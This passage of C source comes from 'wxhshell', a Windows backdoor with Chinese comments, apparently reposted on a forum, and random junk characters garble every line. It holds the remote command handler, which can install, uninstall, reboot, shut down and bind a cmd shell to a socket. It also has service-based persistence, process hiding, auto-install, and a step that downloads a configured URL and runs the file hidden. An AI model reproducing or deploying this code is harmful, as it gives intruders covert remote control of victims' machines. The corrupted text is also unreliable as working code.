    switch(cmd[0]) { rG|*74Q]  
  b!Z-HL6  
  // 帮助 l^ aUN  
  case '?': { "Gh?hU,WWZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tp0^dZM+  
    break; Pq:GvM`  
  } *q.qO )X}3  
  // 安装 r6*~WM|Sq7  
  case 'i': { e)2s2y@zi  
    if(Install()) %SJ9Jr,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QjlwT2o'  
    else qc-4;m o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g[~"c}  
    break; oAgO 3x   
    } f}1R,N_fC  
  // 卸载 +u:Q+PkM  
  case 'r': { ,TAzJ  
    if(Uninstall()) |P"p/iY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z"C+r'39d=  
    else S4?N_"m9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s*U~Q=Z  
    break; \D37l_  
    } !wttKUO?  
  // 显示 wxhshell 所在路径 ;w_f^R #  
  case 'p': { eQUm!9)  
    char svExeFile[MAX_PATH]; *[eh0$  
    strcpy(svExeFile,"\n\r"); ,mE*k79L6  
      strcat(svExeFile,ExeFile); P`K?k<  
        send(wsh,svExeFile,strlen(svExeFile),0); &91U(Go  
    break; k*8 ld-O  
    } aT %A<'O!  
  // 重启 loLN ~6  
  case 'b': { L[Dr[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FM3DJ?\L-  
    if(Boot(REBOOT)) J c~{ E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W1 qE,%cx  
    else { jHxg(]  
    closesocket(wsh); KF"&9nB  
    ExitThread(0); >6(91J  
    } )NwIEk>Tf  
    break; |hprk-R*OH  
    } k2xOu9ncEj  
  // 关机 8W|qm;J98  
  case 'd': { |lijnfp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rU /V ~;#%  
    if(Boot(SHUTDOWN)) kR0d]"dr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l 6;}nG  
    else { iJza zQ  
    closesocket(wsh); *@|EaH/  
    ExitThread(0); :Sx!jx>W  
    } )PU?`yLTr  
    break; #UcqKq  
    } K 0i[D"  
  // 获取shell D4x~Vk%H  
  case 's': { x*A_1_A  
    CmdShell(wsh); Ifm|_  
    closesocket(wsh); 8tM40/U$  
    ExitThread(0); DJv;ed%x  
    break; `&"-|  
  } :Qg3B ';  
  // 退出 Vn`-w  
  case 'x': { YJlpP0;++  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "`Q.z~  
    CloseIt(wsh); d5zF9;[  
    break; :h>d'+\  
    } \B'rWk 33,  
  // 离开 1%YjY"j+  
  case 'q': { 3@r_t|j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Khbkv  
    closesocket(wsh); ab1qcQ<  
    WSACleanup(); EPQ~V  
    exit(1); l;I)$=={=  
    break; 6O^'J~wiI  
        } 8\BCC1K  
  } +6=2B0$ r  
  } 5Mfs)a4j.  
l@8UL</W  
  // 提示信息 vxxa,KR/y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y;+5cn C  
} XCNfogl  
  } A Z7  
Nj2f?',;U  
  return; o5(p&:1M  
} 8:%=@p>$  
(GVH#}uB  
// shell模块句柄 =|lKB;  
int CmdShell(SOCKET sock) NzmVQ-4  
{ Fg3VD(D^U  
STARTUPINFO si; +UxhSFU  
ZeroMemory(&si,sizeof(si)); P&@:''  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hnv{sND[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'sCj\N  
PROCESS_INFORMATION ProcessInfo; >g%^hjJ  
char cmdline[]="cmd"; N`tBDl"ld  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c$)Y$@D  
  return 0; nDh]: t=  
} D:9/;9V  
bqwQi>^Cw  
// 自身启动模式 -S]yXZ  
int StartFromService(void) [b: $sR;  
{ ~RV>V*l  
typedef struct } PD]e*z{Z  
{ "p43#  
  DWORD ExitStatus; biCX: m+_?  
  DWORD PebBaseAddress; JJHr<|K  
  DWORD AffinityMask; 6~KtT{MYQ  
  DWORD BasePriority; Ex'6 WN~kD  
  ULONG UniqueProcessId; %[:\ZwT,-  
  ULONG InheritedFromUniqueProcessId; M <oy  
}   PROCESS_BASIC_INFORMATION; ({#9gTP2b  
xkIRI1*!  
PROCNTQSIP NtQueryInformationProcess; _~aFzM  
I$K?,   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &TqY\l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $]4>;gTL'  
&UhI1mi]h  
  HANDLE             hProcess; @J~n$^ke  
  PROCESS_BASIC_INFORMATION pbi; o2 =UUD&  
'iM;e K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~Qzb<^9]  
  if(NULL == hInst ) return 0; W+[XNIg5   
Ca[H<nyj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >E;-asD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4Gl0h'!(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EG<YxNX,  
j rX .e  
  if (!NtQueryInformationProcess) return 0; MP|J 0=H5  
(9_~R^='y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &uwj&-u?  
  if(!hProcess) return 0; ~f&lQN'1  
OI3UC=G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L&wJ-}'l  
0f.rjd  
  CloseHandle(hProcess); d\Xi1&&  
rlEp&"+|M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); " gB.  
if(hProcess==NULL) return 0; ?@U7tNI  
,wJ#0?  
HMODULE hMod; |1GR:b24  
char procName[255]; *B 7+rd  
unsigned long cbNeeded; $vNz^!zgV  
2ZMYA=[!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W=v4dy]B  
2Y~6~*8*~  
  CloseHandle(hProcess); 3V]B|^S  
kG:,Ff>  
if(strstr(procName,"services")) return 1; // 以服务启动 k r0PL)$  
#hEN4c[Ex  
  return 0; // 注册表启动 W+ tI(JZ  
} vkdU6CZO  
ze!S4&B  
// 主模块 +8e~jf3E1  
int StartWxhshell(LPSTR lpCmdLine) | ,bCYK  
{ __p\`3(,'  
  SOCKET wsl; E DuLgg@  
BOOL val=TRUE; 3,~M`~B  
  int port=0; Si,[7um  
  struct sockaddr_in door; N zY}-:{  
x OCHP|?  
  if(wscfg.ws_autoins) Install(); UGuEZ-r  
V[f-Nj Kf  
port=atoi(lpCmdLine); Ue:'55  
7^|oO~x6  
if(port<=0) port=wscfg.ws_port; <3dmY=  
rn^ 7B-V  
  WSADATA data; ! 8q+W`{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~~[Sz#(  
;[%_sVIy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RZm}%6##ZC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '=!@s1;{[;  
  door.sin_family = AF_INET; (0s7<&Iu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LG6VeYe|\X  
  door.sin_port = htons(port); 6QsH?!bu  
3L$_OXx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -%]O-'  
closesocket(wsl); IYm~pXg^0  
return 1; %{\|/#>:  
} k0IW,z%  
1:<=zqh0  
  if(listen(wsl,2) == INVALID_SOCKET) { +g_+JLQ  
closesocket(wsl); ;D^%)v /i  
return 1; ?Xm!;sS0  
} 8H4"mxO  
  Wxhshell(wsl); 1iq,Gd-G.  
  WSACleanup(); <7HVkAa  
J&4QI( b.  
return 0; S pxkB!  
c$),/0td|  
} 5mB%Xh;bg  
]>fAV(ix  
// 以NT服务方式启动 YUo{e=m|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^R* _Q,o#  
{ Bq~!_6fB  
DWORD   status = 0; {UpHHH:X#  
  DWORD   specificError = 0xfffffff; -<kl d+  
2Y_ `&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @xKLRw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !'>(r K$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >$,A [|R  
  serviceStatus.dwWin32ExitCode     = 0; &V7@ TZ  
  serviceStatus.dwServiceSpecificExitCode = 0; }} cz95  
  serviceStatus.dwCheckPoint       = 0; E~?0Yrm F  
  serviceStatus.dwWaitHint       = 0; "dfq  
,]?Xf >  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H.EgL@;mb  
  if (hServiceStatusHandle==0) return; &6fNPD(|  
_EeH  
status = GetLastError(); \u@4 eBAV  
  if (status!=NO_ERROR) [(v?Z`cX\  
{ jf0D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OjxaA[$  
    serviceStatus.dwCheckPoint       = 0; 2XhtK  
    serviceStatus.dwWaitHint       = 0; (9:MIP  
    serviceStatus.dwWin32ExitCode     = status; 6@pP aq6  
    serviceStatus.dwServiceSpecificExitCode = specificError; xW@y=l Cu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `ER">@&  
    return; O+I\Q?   
  } 0yW#).D^b  
n:JWu0,h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cW B>  
  serviceStatus.dwCheckPoint       = 0; $0WO 4C%M  
  serviceStatus.dwWaitHint       = 0; dz fR ^Gv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TWF6YAQ m  
} RAMkTS  
x)eYqH~i  
// 处理NT服务事件,比如:启动、停止 @y%4BU&>0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K_/8MLJQ  
{ $qkV u  
switch(fdwControl) Wyu$J  
{ R?"sM<3`e  
case SERVICE_CONTROL_STOP: P7GuFn/p~2  
  serviceStatus.dwWin32ExitCode = 0; zbHNj(~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q) %F#g  
  serviceStatus.dwCheckPoint   = 0; JmDi{B?  
  serviceStatus.dwWaitHint     = 0; pvL)BD  
  { SN!TE,=I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s*`_Ka57]~  
  } >ZMB}pt`  
  return; 2E~WcB  
case SERVICE_CONTROL_PAUSE: Il(p!l<Xz#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]h4^3   
  break; :;[pl|}tM  
case SERVICE_CONTROL_CONTINUE: _ndc^OG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y]|Hrx  
  break; r[xj,eIb  
case SERVICE_CONTROL_INTERROGATE: <<#-IsT  
  break; _'9("m V  
}; [fF0Qa-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r':wq   
} g ycjIy@t  
W}&[p=PAS  
// 标准应用程序主函数 6"@+Jz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0* Ox>O>  
{ EBjSK/  
*_G(*yAe(  
// 获取操作系统版本 O;RsYs9  
OsIsNt=GetOsVer(); +X[+SF)!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o&]b\dV  
t']d_Vcza  
  // 从命令行安装 t)|*-=  
  if(strpbrk(lpCmdLine,"iI")) Install(); yWI30hW  
!u@XEN>/  
  // 下载执行文件 KU,K E tf  
if(wscfg.ws_downexe) { nx #0*r}5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) USgZ%xk2  
  WinExec(wscfg.ws_filenam,SW_HIDE); V +#Sb  
} zTtn`j$  
p<b//^   
if(!OsIsNt) { &L3OP@;  
// 如果时win9x,隐藏进程并且设置为注册表启动 BJGL &N  
HideProc(); W\mj?R   
StartWxhshell(lpCmdLine); N ]KS\  
} I'&#pOB  
else 7.7aHt0  
  if(StartFromService()) ~>C@n'\lv  
  // 以服务方式启动 hY$gzls4  
  StartServiceCtrlDispatcher(DispatchTable); H CKD0xx  
else ;Du+C%  
  // 普通方式启动 8K: RoR  
  StartWxhshell(lpCmdLine); bI~ R6o  
!|!k9~v!  
return 0; ^PwZP;On  
}
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只看该作者 1 发表于: 2006-10-10
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